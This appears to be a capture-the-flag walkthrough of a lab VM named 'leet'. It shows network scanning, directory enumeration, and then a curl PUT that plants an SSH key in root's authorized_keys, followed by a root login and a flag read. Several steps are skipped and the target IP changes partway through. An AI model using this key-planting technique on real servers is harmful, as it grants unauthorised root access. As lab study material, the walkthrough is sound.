❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.144 08:00:27:3d:ab:f1 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ed:2f:2b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.061 seconds (124.21 hosts/sec). 4 responded ❯ export ip=192.168.60.144 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK' [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.144:22 Open 192.168.60.144:7777 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 14:16 CST Initiating ARP Ping Scan at 14:16 Scanning 192.168.60.144 [1 port] Completed ARP Ping Scan at 14:16, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:16 Completed Parallel DNS resolution of 1 host. at 14:16, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:16 Scanning 192.168.60.144 [2 ports] Discovered open port 7777/tcp on 192.168.60.144 Discovered open port 22/tcp on 192.168.60.144 Completed SYN Stealth Scan at 14:16, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.144 Host is up, received arp-response (0.00057s latency). Scanned at 2025-04-21 14:16:35 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 7777/tcp open cbt syn-ack ttl 64 MAC Address: 08:00:27:3D:AB:F1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
只有7777端口开放
尝试枚举目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ gobuster dir -u http://$ip:7777 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html,zip,txt -b 404,403 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.144:7777 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404,403 [+] User Agent: gobuster/3.6 [+] Extensions: txt,php,html,zip [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /download (Status: 500) [Size: 14478]
Options: -?,-h : this help -v : show version and exit -V : show version and configure options thenexit -t : test configuration and exit -T : test configuration, dump it and exit -q : suppress non-error messages during configuration testing -s signal : send signal to a master process: stop, quit, reopen, reload -p prefix : set prefix path (default: /usr/share/nginx/) -e filename : set error log file (default: stderr) -c filename : set configuration file (default: /etc/nginx/nginx.conf) -g directives : set global directives out of configuration file
❯ curl -X PUT http://192.168.60.152/root/.ssh/authorized_keys -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmhumzHA2kpAF9W/XS9FK1CjvRlb1iP5kC8RhE/oyVaePE+eZudjlyvGyuJb1GDTad9Zi0hIW14bqdvfgU7HIYJKV1Y/goqs6BddT7KkYEs5643MxxErViGZP52hF3zggAi7Ho/BlnjRMPev1c1ZGzPbR+dpxd3mB6LUkiSEGwbXNOdmmleqmcZAkVEh7vi90/m1S9btqQpbbVRICGBQY6IHyl/PY6jX/W/38u/hhzj0u4poqqubOIWF2RA231osvqrG151Yeg3RYMJW89pK8D6f+Ma1h7sLE3VLlYe5kA2O0aKz0dgLK5KOshI08XhzpwBLKkpYlMRJ4U0KqJ04jhaF1P7o4Wa+hViAdKxOTBL5Y8RoFEGKVmhT9/pAel7BAmuBU0keGS3JaA5OltDBfbSHPPskdrUg/gWhbsjtt7Z+tTzTOSgl1gpQzHnTnfaMosF3WkwQrYq2sjcNEEmtRCF4Gyn92vD1MWfhepC0lGW3Z3o7AGt38ZuiH6/cR9LsjjIDqG90C2yxH4yNEbgW9/0qf6iD+ghDz9mBtzk0dJHMU6/GoxXTY1e+/bAlqDCF2NR+fogTm7DeGNJ9CuaxXF+laYa1wSeIKdMbdi+fmfwqVbiDxxmqbtqJVGmsbmoB1UYP+XZ74LcOPbsPoNzWo53P87a3U2620bIQx32yFPXw== Pepster@primary" ❯ ssh root@$ip -i ../.ssh/id_rsa The authenticity of host '192.168.60.152 (192.168.60.152)' can't be established. ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.152' (ED25519) to the list of known hosts. Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue May 28 17:37:49 2024 from 192.168.0.178 root@leet:~# id uid=0(root) gid=0(root) groups=0(root) root@leet:~# ls -al total 104 drwx------ 7 root root 4096 May 28 2024 . drwxr-xr-x 19 root root 4096 May 28 2024 .. lrwxrwxrwx 1 root root 9 Feb 6 2024 .bash_history -> /dev/null -rw-r--r-- 1 root root 571 Feb 14 2024 .bashrc drwxr-xr-x 4 root root 4096 Feb 14 2024 .cache drwxr-xr-x 3 root root 4096 Feb 14 2024 .config -rw-r--r-- 1 root root 304 Feb 14 2024 index.html -rw------- 1 root root 43 May 28 2024 .lesshst drwxr-xr-x 3 root root 4096 Feb 14 2024 .local drwx------ 4 root root 4096 Feb 14 2024 .mozilla -rw-r--r-- 1 root root 161 Feb 14 2024 .profile -rwx------ 1 root root 33 Feb 14 2024 r007_fl46.7x7 drwx------ 2 root root 4096 Apr 23 11:08 .ssh -rw-r--r-- 1 root root 47428 Feb 14 2024 troll.jpg -rw-r--r-- 1 root root 166 Feb 14 2024 .wget-hsts -rw------- 1 root root 52 Feb 14 2024 .Xauthority root@leet:~# cat r007_fl46.7x7 ca169772acb099a02ebab8da1d9070ea